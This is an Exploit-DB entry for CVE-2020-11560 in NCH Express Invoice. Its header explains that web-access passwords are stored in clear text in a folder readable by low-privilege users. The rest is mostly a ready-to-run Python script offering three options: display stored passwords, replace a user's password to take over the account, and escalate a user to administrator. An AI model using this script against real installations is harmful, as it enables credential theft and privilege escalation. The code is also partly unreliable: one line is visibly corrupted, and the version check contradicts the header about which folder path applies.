Exploit-DB #51540
Description: NCH Express Invoice - Clear Text Password Storage and Account Takeover
Type: local
Platform: windows
Date: 2023-06-23
Author: Tejas Pingulkar

Exploit:
# Exploit Title: NCH Express Invoice - Clear Text Password Storage and Account Takeover
# Google Dork:: intitle:ExpressInvoice - Login
# Date: 07/Apr/2020
# Exploit Author: Tejas Nitin Pingulkar (https://cvewalkthrough.com/)
# Vendor Homepage: https://www.nchsoftware.com/
# Software Link: http://www.oldversiondownload.com/oldversions/express-8-05-2020-06-08.exe
# Version: NCH Express Invoice 8.24 and before
# CVE Number : CVE-2020-11560
# CVSS: 7.8 (High)
# Reference: https://cvewalkthrough.com/cve-2020-11560/
# Vulnerability Description:
# Express Invoice is a thick client application that has functionality to allow the application access over the web. While configuring web access function application ask for user details such as username, password, email, etc. Application stores this information in “C:\ProgramData\NCH Software\ExpressInvoice\Accounts” in clear text as well as due to inadequate folder pemtion any Low prevladge authenticated user can access files stored in cleartext format
#Note: from version 8.24 path changed to “C:\ProgramData\NCH Software\ExpressInvoice\WebAccounts”

import os
import urllib.parse

# Enable ANSI escape sequences for colors on Windows
if os.name == 'nt':
    os.system('')

# Function to decode URL encoding
def decode_url(url):
    decoded_url = urllib.parse.unquote(url)
    return decoded_url

# Function to list files and display as numeric list
def list_files(file_list):
    for i, file in enumerate(file_list, start=1):
        # Omit the part of the file name after %40
        username = file.split("%40")[0]
        print(f"{i}. {username}")

# Main program
print("\033[93mDisclaimer: This script is for educational purposes only.")
print("The author takes no responsibility for any unauthorized usage.")
print("Please use this script responsibly and adhere to the legal and ethical guidelines.\033[0m")

agreement = input("\033[93mDo you agree to the terms? (yes=1, no=0): \033[0m")
if agreement != '1':
    print("\033[93mYou did not agree to the terms. Exiting the program.\033[0m")
    exit()

nch_version = input("\033[93mIs the targeted NCH Express Invoice application version less than 8.24? (yes=1, no=0): \033[0m")
if nch_version == '1':
    file_directory = r"C:\ProgramData\NCH Software\ExpressInvoice\WebAccounts"
else:
    file_directory = r"C:\ProgramData\NCH Software\ExpressInvoice\Accounts"

file_list = os.listdir(file_directory)
print("\033[94mUser Accounts:\033[0m")
list_files(file_list)

selected_file = input("\033[94mSelect the file number for the user: \033[0m")
selected_file = int(selected_file) - 1

file_path = os.path.join(file_directory, file_list[selected_file])
with open(file_path, 'r') as file:
    contents = file.read()

print(f"\033[94mSelected User: {file_list[selected_file].split('%40')[0]}\033[0m")

exploit_option = input("\n\033[94mSelect the exploit option: "
                       "\n1. Display User Passwords "
                       "\n2. Account Takeover Using Password Replace "
                       "\n3. User Privilege Escalation\nOption: \033[0m")

# Exploit actions
if exploit_option == "1":
    decoded_contents = decode_url(contents)
    print("\033[91mPlease find the password in the below string:\033[0m")
    print(decoded_contents)
elif exploit_option == "2":
    new_password = input("\033[92mEnter the new password: \033[0m")
    current_[CREDENTIAL_REDACTED].split("Password=")[1].split("&")[0]
    replaced_contents = contents.replace(f"Password={current_password}", f"Password={new_password}")
    print("\033[92mSelected user's password changed to: Your password\033[0m")
    print(replaced_contents)
    with open(file_path, 'w') as file:
        file.write(replaced_contents)
        
elif exploit_option == "3":
    replaced_contents = contents.replace("Administrator=0", "Administrator=1").replace("Priviligies=2", "Priviligies=1")
    print("\033[92mUser is now an Administrator.\033[0m")
    print(replaced_contents)
    with open(file_path, 'w') as file:
        file.write(replaced_contents)
else:
    print("\033[91mInvalid exploit option. Exiting the program.\033[0m")
    exit()

print("\033[91mFor more such interesting exploits, visit cvewalkthrough.com\033[0m")
input("\033[91mPress enter to exit.\033[0m")